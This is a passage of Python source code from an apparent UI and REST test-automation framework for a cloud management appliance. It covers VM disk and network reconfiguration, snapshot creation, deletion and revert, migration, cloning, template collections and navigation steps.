guest_device_nw_filter = appl_db.session.query(ems, vms, hws, guest_devices).filter(\n                ems.name == self.vm.provider.name).filter(vms.ems_id == ems.id).filter(\n                vms.name == self.vm.name).filter(hws.vm_or_template_id == vms.id).filter(\n                guest_devices.hardware_id == hws.id).all()\n\n            self.network_adapters = [\n                NetworkAdapter(devices.guest_devices.device_name, None)\n                for devices in guest_device_nw_filter\n            ]\n\n        # Disks\n        disks = appl_db['disks']\n        disks_data = appl_db.session.query(disks).filter(\n            disks.hardware_id == hw_id).filter(\n            disks.device_type == 'disk'\n        ).all()\n\n        for disk_data in disks_data:\n            # In DB stored in bytes, but UI default is GB\n            size_gb = disk_data.size / (1024 ** 3)\n            self.disks.append(\n                VMDisk(\n                    filename=disk_data.filename,\n                    size=size_gb,\n                    size_unit='GB',\n                    type=disk_data.disk_type,\n                    mode=disk_data.mode\n                ))\n\n    def copy(self):\n        \"\"\"Returns a copy of this configuration\n        \"\"\"\n        config = VMConfiguration.__new__(VMConfiguration)\n        config.hw = copy(self.hw)\n        # We can just make shallow copy here because disks can be only added or deleted, not edited\n        config.disks = self.disks[:]\n        config.vm = self.vm\n        config.network_adapters = self.network_adapters[:]\n        return config\n\n    def add_disk(self, size, size_unit='GB', type='thin', mode='persistent'):\n        \"\"\"Adds a disk to the VM\n\n        Args:\n            size: Size of the disk\n            size_unit: Unit of size ('MB' or 'GB')\n            type: Type of the disk ('thin' or 'thick')\n            mode: Mode of the disk ('persistent', 'independent_persistent' or\n                  'independent_nonpersistent')\n\n        Note:\n            This method is designed to correspond with the DB, not with the UI.\n            In the UI, dependency is represented by a separate Yes / No option which is _incorrect_\n            design that we don't follow. Correctly, mode should be a selectbox of 3 items:\n            Persistent, Independent Persistent and Independent Nonpersistent.\n            Just Nonpersistent is an invalid setup that UI currently (5.8) allows.\n        \"\"\"\n        # New disk doesn't have a filename, until actually added\n        disk = VMDisk(filename=None, size=size, size_unit=size_unit, type=type, mode=mode)\n        self.disks.append(disk)\n        return disk\n\n    def resize_disk(self, size, filename, size_unit='GB'):\n        disk = next(d for d in self.disks if d.filename == filename)\n        target_disk = VMDisk(\n            filename=disk.filename,\n            size=size,\n            size_unit=size_unit,\n            type=disk.type,\n            mode=disk.mode\n        )\n        self.disks.remove(disk)\n        self.disks.append(target_disk)\n        return target_disk\n\n    def delete_disk(self, filename=None, index=None):\n        \"\"\"Removes a disk of given filename or index\"\"\"\n        if filename:\n            disk = [disk for disk in self.disks if disk.filename == filename][0]\n            self.disks.remove(disk)\n        elif index:\n            del self.disks[index]\n        else:\n            raise TypeError(\"Either filename or index must be specified\")\n\n    @property\n    def num_disks(self):\n        return len(self.disks)\n\n    def add_network_adapter(self, name, vlan):\n        self.network_adapters.append(NetworkAdapter(name=name, vlan=vlan))\n\n    def remove_network_adapter(self, name):\n        network_adapter = next(nw for nw in self.network_adapters if nw.name == name)\n        self.network_adapters.remove(network_adapter)\n\n    @property\n    def num_network_adapters(self):\n        return len(self.network_adapters)\n\n    def get_changes_to_fill(self, other_configuration):\n        \"\"\" Returns changes to be applied to this config to reach the other config\n\n        Note:\n            Result of this method is used for form filling by VM's reconfigure method.\n        \"\"\"\n        changes = {}\n        changes['disks'] = []\n        changes['network_adapters'] = []\n\n        for key in ['cores_per_socket', 'sockets']:\n            if getattr(self.hw, key) != getattr(other_configuration.hw, key):\n                changes[key] = str(getattr(other_configuration.hw, key))\n                changes['cpu'] = True\n\n        if (self.hw.mem_size != other_configuration.hw.mem_size or\n                self.hw.mem_size_unit != other_configuration.hw.mem_size_unit):\n            changes['memory'] = True\n            changes['mem_size'] = other_configuration.hw.mem_size\n            changes['mem_size_unit'] = other_configuration.hw.mem_size_unit\n\n        for disk in self.disks + other_configuration.disks:\n            if disk in self.disks and disk not in other_configuration.disks:\n                changes['disks'].append({'action': 'delete', 'disk': disk, 'delete_backing': None})\n            elif disk not in self.disks and disk in other_configuration.disks:\n                changes['disks'].append({'action': 'add', 'disk': disk})\n            elif disk in self.disks and disk in other_configuration.disks:\n                old_disk = next(d for d in self.disks if d == disk)\n                new_disk = next(d for d in other_configuration.disks if d == disk)\n                if old_disk.size != new_disk.size:\n                    change = {\"action\": \"resize\", \"disk\": new_disk}\n                    if change not in changes[\"disks\"]:\n                        changes[\"disks\"].append(change)\n\n        # Network adapter changes\n        for adapter in self.network_adapters + other_configuration.network_adapters:\n            if (\n                adapter in self.network_adapters\n                and adapter not in other_configuration.network_adapters\n            ):\n                changes[\"network_adapters\"].append({\"action\": \"delete\", \"network_adapter\": adapter})\n            elif (\n                adapter not in self.network_adapters\n                and adapter in other_configuration.network_adapters\n            ):\n                changes[\"network_adapters\"].append({\"action\": \"add\", \"network_adapter\": adapter})\n\n        return changes\n\n\n@attr.s\nclass InfraVm(VM):\n    \"\"\"Represents an infrastructure provider's virtual machine in CFME\n\n    Note the args are defined at common.BaseVM|VM class\n    Args:\n        name: Name of the virtual machine resource\n        provider: :py:class:`cfme.infrastructure.provider.InfraProvider` object\n        template_name: Name of the template to use for provisioning\n    \"\"\"\n\n    @attr.s\n    # TODO snapshot collections\n    class Snapshot:\n        snapshot_tree = ManageIQTree('snapshot_treebox')\n\n        name = attr.ib(default=None)\n        description = attr.ib(default=None)\n        memory = attr.ib(default=None)\n        parent_vm = attr.ib(default=None)\n\n        @property\n        def exists(self):\n            title = getattr(self, self.parent_vm.provider.SNAPSHOT_TITLE)\n            view = navigate_to(self.parent_vm, 'SnapshotsAll')\n            if view.tree.is_displayed:\n                root_item = view.tree.expand_path(self.parent_vm.name)\n                return has_child(view.tree, title, root_item)\n            else:\n                return False\n\n        @property\n        def active(self):\n            \"\"\"Check if the snapshot is active.\n\n            Returns:\n                bool: True if snapshot is active, False otherwise.\n            \"\"\"\n            title = getattr(self, self.parent_vm.provider.SNAPSHOT_TITLE)\n            view = navigate_to(self.parent_vm, 'SnapshotsAll')\n            root_item = view.tree.expand_path(self.parent_vm.name)\n            from cfme.infrastructure.provider.rhevm import RHEVMProvider\n\n            if self.parent_vm.provider.one_of(RHEVMProvider):\n                child = view.tree.child_items(root_item)\n                last_snapshot = view.tree.child_items(child[0])[0]\n                return (child[0].text == 'Active VM (Active)' and\n                        last_snapshot.text == title)\n            else:\n                return has_child(view.tree, f'{title} (Active)', root_item)\n\n        @property\n        def size(self):\n            \"\"\"\n            Check the shapshot size in the UI. So far available only in RHV and CFME > \"5.11\"\n\n            :returns the size of the snapshot\n            \"\"\"\n            from cfme.infrastructure.provider.rhevm import RHEVMProvider\n            if not self.parent_vm.provider.one_of(RHEVMProvider):\n                raise Exception(\"Provider is not RHV, this feature is not available\")\n            if self.parent_vm.appliance.version < \"5.11\":\n                raise Exception(\"This feature is available only starting in CFME 5.11\")\n            title = getattr(self, self.parent_vm.provider.SNAPSHOT_TITLE)\n            view = navigate_to(self.parent_vm, 'SnapshotsAll')\n            root_item = view.tree.expand_path(self.parent_vm.name)\n            snapshot_path = find_path(view.tree, title, root_item)\n            if not snapshot_path:\n                raise Exception(f'Could not find snapshot with name \"{title}\"')\n            else:\n                view.tree.click_path(*snapshot_path)\n            return view.size.text\n\n        def create(self, force_check_memory=False):\n            \"\"\"Create a snapshot\"\"\"\n            view = navigate_to(self.parent_vm, 'SnapshotsAdd')\n            snapshot_dict = {'description': self.description}\n            if self.name is not None:\n                snapshot_dict['name'] = self.name\n            if (force_check_memory or self.parent_vm.mgmt.is_running):\n                snapshot_dict[\"snapshot_vm_memory\"] = self.memory\n            if force_check_memory and not view.snapshot_vm_memory.is_displayed:\n                raise NoSuchElementException('Snapshot VM memory checkbox not present')\n            view.fill(snapshot_dict)\n            view.create.click()\n            view.flash.assert_no_error()\n            list_view = self.parent_vm.create_view(InfraVmSnapshotView)\n            wait_for(lambda: self.exists, num_sec=300, delay=20,\n                     fail_func=list_view.toolbar.reload.click, handle_exception=True,\n                     message=\"Waiting for snapshot create\")\n\n        def delete(self, cancel=False):\n            title = getattr(self, self.parent_vm.provider.SNAPSHOT_TITLE)\n            view = navigate_to(self.parent_vm, 'SnapshotsAll')\n            root_item = view.tree.expand_path(self.parent_vm.name)\n            snapshot_path = find_path(view.tree, title, root_item)\n            if not snapshot_path:\n                raise Exception(f'Could not find snapshot with name \"{title}\"')\n            else:\n                view.tree.click_path(*snapshot_path)\n\n            view.toolbar.delete.item_select('Delete Selected Snapshot', handle_alert=not cancel)\n            if not cancel:\n                # TODO: test this in test_snapshot_crud, just assert_no_error here\n                view.flash.assert_message(\n                    \"Delete Snapshot initiated for 1 VM and Instance from the \"\n                    \"{} Database\".format(self.parent_vm.appliance.product_name)\n                )\n\n            wait_for(lambda: not self.exists, num_sec=300, delay=20, fail_func=view.browser.refresh,\n                     message=\"Waiting for snapshot delete\")\n\n        def delete_all(self, cancel=False):\n            view = navigate_to(self.parent_vm, 'SnapshotsAll')\n            view.toolbar.delete.item_select('Delete All Existing Snapshots',\n                                            handle_alert=not cancel)\n            if not cancel:\n                # TODO: test this in test_snapshot_crud, just assert_no_error here\n                view.flash.assert_message(\n                    \"Delete All Snapshots initiated for 1 VM and Instance from the \"\n                    \"{} Database\".format(self.parent_vm.appliance.product_name)\n                )\n\n        def revert_to(self, cancel=False):\n            title = getattr(self, self.parent_vm.provider.SNAPSHOT_TITLE)\n            view = navigate_to(self.parent_vm, 'SnapshotsAll')\n            root_item = view.tree.expand_path(self.parent_vm.name)\n            snapshot_path = find_path(view.tree, title, root_item)\n            if not snapshot_path:\n                raise Exception(f'Could not find snapshot with name \"{title}\"')\n            else:\n                view.tree.click_path(*snapshot_path)\n\n            view.toolbar.revert.click(handle_alert=not cancel)\n            if not cancel:\n                # TODO: test this in test_snapshot_crud, just assert_no_error here\n                view.flash.assert_message(\n                    \"Revert to a Snapshot initiated for 1 VM and Instance \"\n                    \"from the {} Database\".format(self.parent_vm.appliance.product_name)\n                )\n\n        def refresh(self):\n            view = navigate_to(self.parent_vm, 'SnapshotsAll')\n            view.toolbar.reload.click()\n\n    # POWER CONTROL OPTIONS\n    SUSPEND = \"Suspend\"\n    POWER_ON = \"Power On\"\n    POWER_OFF = \"Power Off\"\n    GUEST_RESTART = \"Restart Guest\"\n    GUEST_SHUTDOWN = \"Shutdown Guest\"\n    RESET = \"Reset\"\n    # POWER STATE\n    STATE_ON = \"on\"\n    STATE_OFF = \"off\"\n    STATE_SUSPENDED = \"suspended\"\n\n    ALL_LIST_LOCATION = \"infra_vms\"\n    TO_OPEN_EDIT = \"Edit this VM\"\n    TO_OPEN_RECONFIGURE = \"Reconfigure this VM\"\n    TO_RETIRE = \"Retire this VM\"\n    VM_TYPE = \"Virtual Machine\"\n    DETAILS_VIEW_CLASS = InfraVmDetailsView\n\n    def migrate_vm(self, email=None, first_name=None, last_name=None,\n                   host=None, datastore=None):\n        view = navigate_to(self, 'Migrate')\n        first_name = first_name or fauxfactory.gen_alphanumeric()\n        last_name = last_name or fauxfactory.gen_alphanumeric()\n        email = email or f\"{first_name}@{last_name}.test\"\n        try:\n            prov_data = cfme_data[\"management_systems\"][self.provider.key][\"provisioning\"]\n            host_name = host or prov_data.get(\"host\")\n            datastore_name = datastore or prov_data.get(\"datastore\")\n        except (KeyError, IndexError):\n            raise ValueError(\"You have to specify the correct options in cfme_data.yaml\")\n        request_data = {\n            'request': {\n                'email': email,\n                'first_name': first_name,\n                'last_name': last_name,\n            },\n            'environment': {\n                'host_name': {'name': host_name}\n            },\n        }\n        from cfme.infrastructure.provider.rhevm import RHEVMProvider\n        if not self.provider.one_of(RHEVMProvider):\n            request_data['environment'].update({'datastore_name': {'name': datastore_name}})\n        view.form.fill_with(request_data, on_change=view.form.submit)\n\n    def clone_vm(self, email=None, first_name=None, last_name=None,\n                 vm_name=None, provision_type=None):\n        view = navigate_to(self, 'Clone')\n        self._fill_clone_form(view, email, first_name, last_name, vm_name, provision_type)\n\n    def publish_to_template(self, template_name, email=None, first_name=None, last_name=None):\n        view = navigate_to(self, 'Publish')\n        first_name = first_name or fauxfactory.gen_alphanumeric()\n        last_name = last_name or fauxfactory.gen_alphanumeric()\n        email = email or f\"{first_name}@{last_name}.test\"\n        try:\n            prov_data = cfme_data[\"management_systems\"][self.provider.key][\"provisioning\"]\n        except (KeyError, IndexError):\n            raise ValueError(\"You have to specify the correct options in cfme_data.yaml\")\n\n        provisioning_data = {\n            'catalog': {'vm_name': template_name},\n            'request': {\n                'email': email,\n                'first_name': first_name,\n                'last_name': last_name},\n            'environment': {'host_name': {'name': prov_data.get('host')},\n                            'datastore_name': {'name': prov_data.get('datastore')}},\n        }\n\n        from cfme.infrastructure.provider.rhevm import RHEVMProvider\n        if self.provider.one_of(RHEVMProvider):\n            provisioning_data['environment'] = {'automatic_placement': True}\n\n        view.form.fill_with(provisioning_data, on_change=view.form.submit_button)\n        cells = {'Description': f'Publish from [{self.name}] to [{template_name}]'}\n        provision_request = self.appliance.collections.requests.instantiate(cells=cells)\n        provision_request.wait_for_request()\n        return self.appliance.collections.infra_templates.instantiate(template_name, self.provider)\n\n    @property\n    def total_snapshots(self):\n        \"\"\"Returns the number of snapshots for this VM. If it says ``None``, returns ``0``.\"\"\"\n        view = navigate_to(self, \"Details\")\n        snapshots = view.entities.summary(\"Properties\").get_text_of(\"Snapshots\").strip().lower()\n        if snapshots == \"none\":\n            return 0\n        else:\n            return int(snapshots)\n\n    @property\n    def current_snapshot_name(self):\n        \"\"\"Returns the current snapshot name.\"\"\"\n        view = navigate_to(self, 'SnapshotsAll')\n        active_snapshot = view.tree.selected_item if view.tree.is_displayed else None\n        if active_snapshot:\n            return active_snapshot.text.split(' (Active')[0]\n\n    @property\n    def current_snapshot_description(self):\n        \"\"\"Returns the current snapshot description.\"\"\"\n        view = navigate_to(self, 'SnapshotsAll')\n        active_snapshot = view.tree.selected_item if view.tree.is_displayed else None\n        if active_snapshot:\n            active_snapshot.click()\n            return view.description.text\n\n    @property\n    def genealogy(self):\n        return Genealogy(self)\n\n    @property\n    def cluster_id(self):\n        \"\"\"returns id of cluster current vm belongs to\"\"\"\n        return int(self.rest_api_entity.ems_cluster_id)\n\n    @attr.s\n    class CfmeRelationship:\n        vm = attr.ib()\n\n        def navigate(self):\n            return navigate_to(self.vm, 'EditManagementEngineRelationship', wait_for_view=0)\n\n        def is_relationship_set(self):\n            return '<Not a Server>' not in self.get_relationship()\n\n        def get_relationship(self):\n            view = self.navigate()\n            rel = str(view.form.server.all_selected_options[0])\n            view.form.cancel_button.click()\n            return rel\n\n        def set_relationship(self, server_name, server_id, cancel=False):\n            view = self.navigate()\n            view.form.fill({'server': f'{server_name} ({server_id})'})\n\n            if cancel:\n                view.form.cancel_button.click()\n            else:\n                view.form.save_button.click()\n                wait_for(lambda: len(view.flash.read()) > 0)\n                view.flash.assert_success_message('Management Engine Relationship saved')\n                view = navigate_to(self.vm, 'Details')\n                server_details = view.entities.summary(\"Properties\").get_text_of(\"Server\")\n                assert server_details == f\"{server_name} [{server_id}]\"\n\n        def remove_relationship(self):\n            view = self.navigate()\n            view.form.fill({'server': '<Not a Server>'})\n            view.form.save_button.click()\n            wait_for(lambda: len(view.flash.read()) > 0)\n            view.flash.assert_success_message('Management Engine Relationship saved')\n            view = navigate_to(self.vm, 'Details')\n            fields = view.entities.summary(\"Properties\").fields\n            assert \"Server\" not in fields\n\n    @property\n    def configuration(self):\n        return VMConfiguration(self)\n\n    def reconfigure(self, new_configuration=None, changes=None, cancel=False):\n        \"\"\"Reconfigures the VM based on given configuration or set of changes\n\n        Args:\n            new_configuration: VMConfiguration object with desired configuration\n            changes: Set of changes to request; alternative to new_configuration\n                     See VMConfiguration.get_changes_to_fill to see expected format of the data\n            cancel: `False` if we want to submit the changes, `True` otherwise\n        \"\"\"\n        from cfme.infrastructure.provider.rhevm import RHEVMProvider\n        if not new_configuration and not changes:\n            raise TypeError(\n                \"You must provide either new configuration or changes to apply.\")\n\n        if new_configuration:\n            changes = self.configuration.get_changes_to_fill(new_configuration)\n        any_changes = any(v not in [None, []] for v in changes.values())\n        if not any_changes and not cancel:\n            raise ValueError(\"No changes specified - cannot reconfigure VM.\")\n\n        vm_recfg = navigate_to(self, 'Reconfigure')\n\n        # We gotta add disks separately\n        fill_data = {k: v for k, v in changes.items() if k != 'disks'}\n        vm_recfg.fill(fill_data)\n\n        # Helpers for VM Reconfigure request\n        cpu_message = \"Processor Sockets: {}{}\".format(\n            changes.get(\"sockets\", \"1\"), \", Processor Cores Per Socket: {}\".format(\n                changes.get(\"cores_per_socket\", \"1\"))) if changes.get(\"cpu\", False) else None\n        ram_message = \"Memory: {} {}\".format(\n            changes.get(\"mem_size\", \"0\"), changes.get(\"mem_size_unit\", \"MB\")) if changes.get(\n            \"memory\", False) else None\n        disk_message = None\n        network_adapter_message = None\n\n        for disk_change in changes['disks']:\n            action, disk = disk_change['action'], disk_change['disk']\n            if action == 'add':\n                # TODO This conditional has to go, once the 'Dependent' switch is removed from UI\n                if 'independent' in disk.mode:\n                    mode = disk.mode.split('independent_')[1]\n                    dependent = False\n                else:\n                    mode = disk.mode\n                    dependent = True\n\n                row = vm_recfg.disks_table.click_add_disk()\n                row.type.fill(disk.type)\n                if not self.provider.one_of(RHEVMProvider):\n                    row.mode.fill(mode)\n                    row.dependent.fill(dependent)\n                row.size.fill(disk.size)\n                row.unit.fill(disk.size_unit)\n                row.actions.widget.click()\n                disk_message = 'Add Disks'\n            elif action == 'delete':\n                row = vm_recfg.disks_table.row(name=disk.filename)\n                # `delete_backing` removes disk from the env\n                row.delete_backing.fill(True)\n                if not self.provider.one_of(RHEVMProvider):\n                    # second action button, delete, is column 9 on colspan\n                    # https://github.com/RedHatQE/widgetastic.core/issues/95\n                    row[9].widget.click()\n                else:\n                    # for RHV there's only one action button\n                    row.actions.widget.click()\n                disk_message = 'Remove Disks'\n\n            elif action == \"resize\":\n                row = vm_recfg.disks_table.row(name=disk.filename)\n                row.actions.widget.click()\n                row.unit.fill(disk.size_unit)\n                row.size.fill(disk.size)\n                row.actions.widget.click()\n                disk_message = \"Resize Disks\"\n            else:\n                raise ValueError(\"Unknown disk change action; must be one of: add, delete\")\n\n        for network_adapters_change in changes['network_adapters']:\n            action = network_adapters_change['action']\n            network_adapter = network_adapters_change['network_adapter']\n\n            if action == \"add\":\n                row = vm_recfg.network_adapters_table.click_add_network_adapter()\n                row.vlan.fill(network_adapter.vlan)\n                row.actions.widget.click()\n                network_adapter_message = \"Add Network Adapters\"\n            elif action == \"delete\":\n                row = vm_recfg.network_adapters_table.row(name=network_adapter.name)\n                # https://github.com/RedHatQE/widgetastic.core/issues/95\n                # second action button, delete, is column 4 on colspan\n                row[4].widget.click()\n                network_adapter_message = \"Remove Network Adapters\"\n            else:\n                raise ValueError(\n                    \"Unknown network adapter change action; must be one of: add, delete\"\n                )\n\n        message = \", \".join(\n            [_f for _f in [ram_message, cpu_message, disk_message, network_adapter_message] if _f]\n        )\n\n        if cancel:\n            vm_recfg.cancel_button.click()\n            view = self.appliance.browser.create_view(InfraVmDetailsView)\n            view.flash.assert_success_message('VM Reconfigure Request was cancelled by the user')\n        else:\n            vm_recfg.submit_button.click()\n            view = self.appliance.browser.create_view(RequestsView)\n            view.flash.assert_success_message(\"VM Reconfigure Request was saved\")\n            return self.appliance.collections.requests.instantiate(description=\"{} - {}\".format(\n                self.name, message), partial_check=True)\n\n    @property\n    def cluster(self):\n        vm_api = self.appliance.rest_api.collections.vms.get(name=self.name)\n        cluster_api = self.appliance.rest_api.collections.clusters.get(id=vm_api.ems_cluster_id)\n        cluster_api.reload(attributes='name')\n        return self.appliance.collections.clusters.instantiate(\n            name=cluster_api.name,\n            provider=self.provider\n        )\n\n    @property\n    def host(self):\n        vm_api = self.appliance.rest_api.collections.vms.get(name=self.name)\n        try:\n            vm_host = vm_api.host\n        except AttributeError:\n            logger.exception('No host attribute on rest_api vm entity')\n            return None\n        vm_host.reload(attributes='name')\n        host = self.appliance.collections.hosts.instantiate(name=vm_host.name,\n                                                            provider=self.provider)\n        return host\n\n    @property\n    def datastore(self):\n        vm_api = self.appliance.rest_api.collections.vms.get(name=self.name)\n        vm_api.reload(attributes=['v_datastore_path'])\n        datastore_name = vm_api.v_datastore_path.split('/')[0]\n        return self.appliance.collections.datastores.instantiate(\n            name=datastore_name, provider=self.provider\n        )\n\n    @property\n    def vm_default_args(self):\n        \"\"\"Represents dictionary used for Vm/Instance provision with mandatory default args\"\"\"\n        provisioning = self.provider.data['provisioning']\n        inst_args = {\n            'request': {\n                'email': 'vm_provision@cfmeqe.com'},\n            'catalog': {\n                'vm_name': self.name},\n            'environment': {\n                'host_name': {'name': provisioning['host']},\n                'datastore_name': {'name': provisioning['datastore']}},\n            'network': {\n                'vlan': partial_match(provisioning['vlan'])}\n        }\n\n        return inst_args\n\n    @property\n    def vm_default_args_rest(self):\n        \"\"\"Represents dictionary used for REST API Vm/Instance provision with minimum required\n        default args\n\n        \"\"\"\n        from cfme.infrastructure.provider.rhevm import RHEVMProvider\n        if not self.provider.is_refreshed():\n            self.provider.refresh_provider_relationships(wait=600)\n        provisioning = self.provider.data['provisioning']\n        template_name = provisioning['template']\n        template = self.appliance.rest_api.collections.templates.get(name=template_name,\n                                                                     ems_id=self.provider.id)\n        host_id = self.appliance.rest_api.collections.hosts.get(name=provisioning['host']).id\n        ds_id = self.appliance.rest_api.collections.data_stores.get(\n            name=provisioning['datastore']).id\n        inst_args = {\n            \"version\": \"1.1\",\n            \"template_fields\": {\n                \"guid\": template.guid,\n            },\n            \"vm_fields\": {\n                \"placement_auto\": False,\n                \"vm_name\": self.name,\n                \"request_type\": \"template\",\n                \"placement_ds_name\": ds_id,\n                \"placement_host_name\": host_id,\n                \"vlan\": provisioning[\"vlan\"],\n            },\n            \"requester\": {\n                \"user_name\": \"admin\",\n                \"owner_email\": \"admin@cfmeqe.com\",\n                \"auto_approve\": True,\n            },\n            \"tags\": {\n            },\n            \"additional_values\": {\n            },\n            \"ems_custom_attributes\": {\n            },\n            \"miq_custom_attributes\": {\n            }\n        }\n\n        if self.provider.one_of(RHEVMProvider):\n            inst_args['vm_fields']['provision_type'] = 'native_clone'\n            cluster_id = self.appliance.rest_api.collections.clusters.get(name='Default').id\n            inst_args['vm_fields']['placement_cluster_name'] = cluster_id\n            # BZ 1541036/1449157. <Template> uses template vnic_profile\n\n        return inst_args\n\n\n@attr.s\nclass InfraVmCollection(VMCollection):\n    ENTITY = InfraVm\n\n    def all(self):\n        \"\"\"Return entities for all items in collection\"\"\"\n        # provider filter means we're viewing vms through provider details relationships\n        # provider filtered 'All' view includes vms and templates, can't be used\n        # TODO: prichard add support for slicing as in host collections\n        provider = self.filters.get('provider')  # None if no filter, need for entity instantiation\n        view = navigate_to(provider or self,\n                           'ProviderVms' if provider else 'VMsOnly')\n        # iterate pages here instead of use surf_pages=True because data is needed\n        entities = []\n        for _ in view.entities.paginator.pages():  # auto-resets to first page\n            page_entities = [entity for entity in view.entities.get_all(surf_pages=False)]\n            entities.extend(\n                # when provider filtered view, there's no provider data value\n                [self.instantiate(e.data['name'], provider or get_crud_by_name(e.data['provider']))\n                 for e in page_entities\n                 if e.data.get('provider') != '']  # safe provider check, orphaned shows no provider\n            )\n        # filtering\n        if self.filters.get(\"names\"):\n            names = self.filters[\"names\"]\n            entities = [e for e in entities if e.name in names]\n        if self.filters.get(\"name\"):\n            name = self.filters[\"name\"]\n            entities = [e for e in entities if e.name == name]\n\n        return entities\n\n\n@attr.s\nclass InfraTemplate(Template):\n    REMOVE_MULTI = \"Remove Templates from the VMDB\"\n    VM_TYPE = \"Template\"\n\n    @property\n    def genealogy(self):\n        return Genealogy(self)\n\n\n@attr.s\nclass InfraTemplateCollection(ComparableMixin, TemplateCollection):\n    ENTITY = InfraTemplate\n    DROPDOWN_TEXT = 'Compare Selected Templates'\n\n    @property\n    def COMPARE_VIEW(self):\n        parent = self.filters.get('parent')  # None if no filter\n        return TemplatesCompareView if parent else VmTemplatesCompareView\n\n    @property\n    def NAV_STRING(self):\n        parent = self.filters.get('parent')  # None if no filter\n        return 'ProviderTemplates' if parent else 'TemplatesOnly'\n\n    def all(self):\n        \"\"\"Return entities for all items in collection\"\"\"\n        # provider filter means we're viewing templates through provider details relationships\n        # provider filtered 'All' view includes vms and templates, can't be used\n        # TODO: prichard add support for slicing as in host collections\n        provider = self.filters.get('parent')\n        # instantiation\n        view = navigate_to(provider or self,\n                           'ProviderTemplates' if provider else 'TemplatesOnly')\n        # iterate pages here instead of use surf_pages=True because data is needed\n        entities = []\n        for _ in view.entities.paginator.pages():  # auto-resets to first page\n            page_entities = [entity for entity in view.entities.get_all(surf_pages=False)]\n            entities.extend(\n                # when provider filtered view, there's no provider data value\n                [self.instantiate(e.data['name'], provider or get_crud_by_name(e.data['provider']))\n                 for e in page_entities\n                 if e.data.get('provider') != '']  # safe provider check, orphaned shows no provider\n            )\n        return entities\n\n\n@attr.s\nclass Genealogy:\n    \"\"\"Class, representing genealogy of an infra object with possibility of data retrieval\n    and comparison.\n\n    Args:\n        o: The :py:class:`InfraVm` or :py:class:`Template` object.\n    \"\"\"\n    mode_mapping = {\n        'exists': 'Exists Mode',\n        'details': 'Details Mode',\n    }\n\n    attr_mapping = {\n        'all': 'All Attributes',\n        'different': 'Attributes with different values',\n        'same': 'Attributes with same values',\n    }\n\n    obj = attr.ib()\n\n    def navigate(self):\n        return navigate_to(self.obj, 'GenealogyAll')\n\n    def compare(self, *objects, **kwargs):\n        \"\"\"Compares two or more objects in the genealogy.\n\n        Args:\n            *objects: :py:class:`InfraVm` or :py:class:`Template` or :py:class:`str` with name.\n\n        Keywords:\n            sections: Which sections to compare.\n            attributes: `all`, `different` or `same`. Default: `all`.\n            mode: `exists` or `details`. Default: `exists`.\"\"\"\n        sections = kwargs.get('sections')\n        assert len(objects) >= 2, 'You must specify at least two objects'\n        objects = [o.name if isinstance(o, (InfraVm, InfraTemplate)) else o for o in objects]\n        view = self.navigate()\n        for obj in objects:\n            if not isinstance(obj, list):\n                path = find_path(view.tree, obj)\n            view.tree.check_node(*path)\n        if view.toolbar.compare.disabled:\n            raise ToolbarOptionGreyedOrUnavailable(\"The compare button is greyed out or disabled\")\n        view.toolbar.compare.click()\n        compare_view = self.obj.create_view(InfraVmCompareView, wait=20)\n        compare_view.flash.assert_no_error()\n        # COMPARE PAGE\n\n        if sections is not None:\n            list(map(lambda path: compare_view.tree.check_node(*path), sections))\n            compare_view.apply.click()\n            compare_view.flash.assert_no_errors()\n        # Set requested attributes sets\n        getattr(compare_view.toolbar, \"all_attributes\").click()\n        # Set the requested mode\n        getattr(compare_view.toolbar, \"exists_mode\").click()\n\n        return compare_view\n\n    @property\n    def tree(self):\n        \"\"\"Returns contents of the tree with genealogy\"\"\"\n        view = self.navigate()\n        return view.tree.read_contents()\n\n    @property\n    def ancestors(self):\n        \"\"\"Returns list of ancestors of the represented object.\"\"\"\n        view = self.navigate()\n        path = find_path(view.tree, self.obj.name)\n        if not path:\n            raise ValueError(\"Something wrong happened, path not found!\")\n        processed_path = []\n        for step in path[:-1]:\n            # We will remove the (parent) and (Selected) suffixes\n            processed_path.append(re.sub(r\"\\s*(?:\\(Current\\)|\\(Parent\\))$\", \"\", step))\n        return processed_path\n\n\n@navigator.register(Template, 'All')\n@navigator.register(InfraVm, 'All')\n@navigator.register(InfraTemplateCollection, 'All')\n@navigator.register(InfraVmCollection, 'All')\nclass VmAllWithTemplates(CFMENavigateStep):\n    VIEW = VmsTemplatesAllView\n    prerequisite = NavigateToAttribute('appliance.server', 'LoggedIn')\n\n    def step(self, *args, **kwargs):\n        self.prerequisite_view.navigation.select('Compute', 'Infrastructure', 'Virtual Machines')\n        self.view.sidebar.vmstemplates.tree.click_path('All VMs & Templates')\n\n    def resetter(self, *args, **kwargs):\n        self.view.reset_page()\n\n\n@navigator.register(InfraTemplateCollection, 'OrphanedAll')\n@navigator.register(InfraVmCollection, 'OrphanedAll')\nclass OrphanedVms(CFMENavigateStep):\n    VIEW = OrphanedVmsAllView\n    prerequisite = NavigateToSibling('All')\n\n    def step(self, *args, **kwargs):\n        self.view.sidebar.vmstemplates.tree.click_path('All VMs & Templates', '<Orphaned>')\n\n\n@navigator.register(InfraTemplateCollection, 'ArchivedAll')\n@navigator.register(InfraVmCollection, 'ArchivedAll')\nclass ArchivedVms(CFMENavigateStep):\n    VIEW = ArchivedVmsAllView\n    prerequisite = NavigateToSibling('All')\n\n    def step(self, *args, **kwargs):\n        self.view.sidebar.vmstemplates.tree.click_path('All VMs & Templates', '<Archived>')\n\n\n@navigator.register(InfraTemplateCollection, 'AllForProvider')\n@navigator.register(InfraTemplate, 'AllForProvider')\n@navigator.register(InfraVmCollection, 'AllForProvider')\n@navigator.register(InfraVm, 'AllForProvider')\nclass VmAllWithTemplatesForProvider(CFMENavigateStep):\n    VIEW = VmTemplatesAllForProviderView\n\n    def prerequisite(self):\n        try:\n            navigate_to(self.obj, 'All')\n        except NavigationDestinationNotFound:\n            navigate_to(self.obj.parent, 'All')\n\n    def step(self, *args, **kwargs):\n        # provider has been passed, TODO remove this usage\n        if 'provider' in kwargs:\n            provider_name = kwargs['provider'].name\n        # the collection is navigation target, use its filter value\n        elif (isinstance(self.obj, (InfraTemplateCollection, InfraVmCollection)) and\n                self.obj.filters.get('provider')):\n            provider_name = self.obj.filters['provider'].name\n        elif isinstance(self.obj, (InfraTemplate, InfraVm)):\n            provider_name = self.obj.provider.name\n        else:\n            raise DestinationNotFound(\"Unable to identify a provider for AllForProvider navigation\")\n        self.view.sidebar.vmstemplates.tree.click_path('All VMs & Templates', provider_name)\n\n    def resetter(self, *args, **kwargs):\n        self.view.reset_page()\n\n\n@navigator.register(InfraVm, 'OS Info')\nclass VmOsInfo(CFMENavigateStep):\n    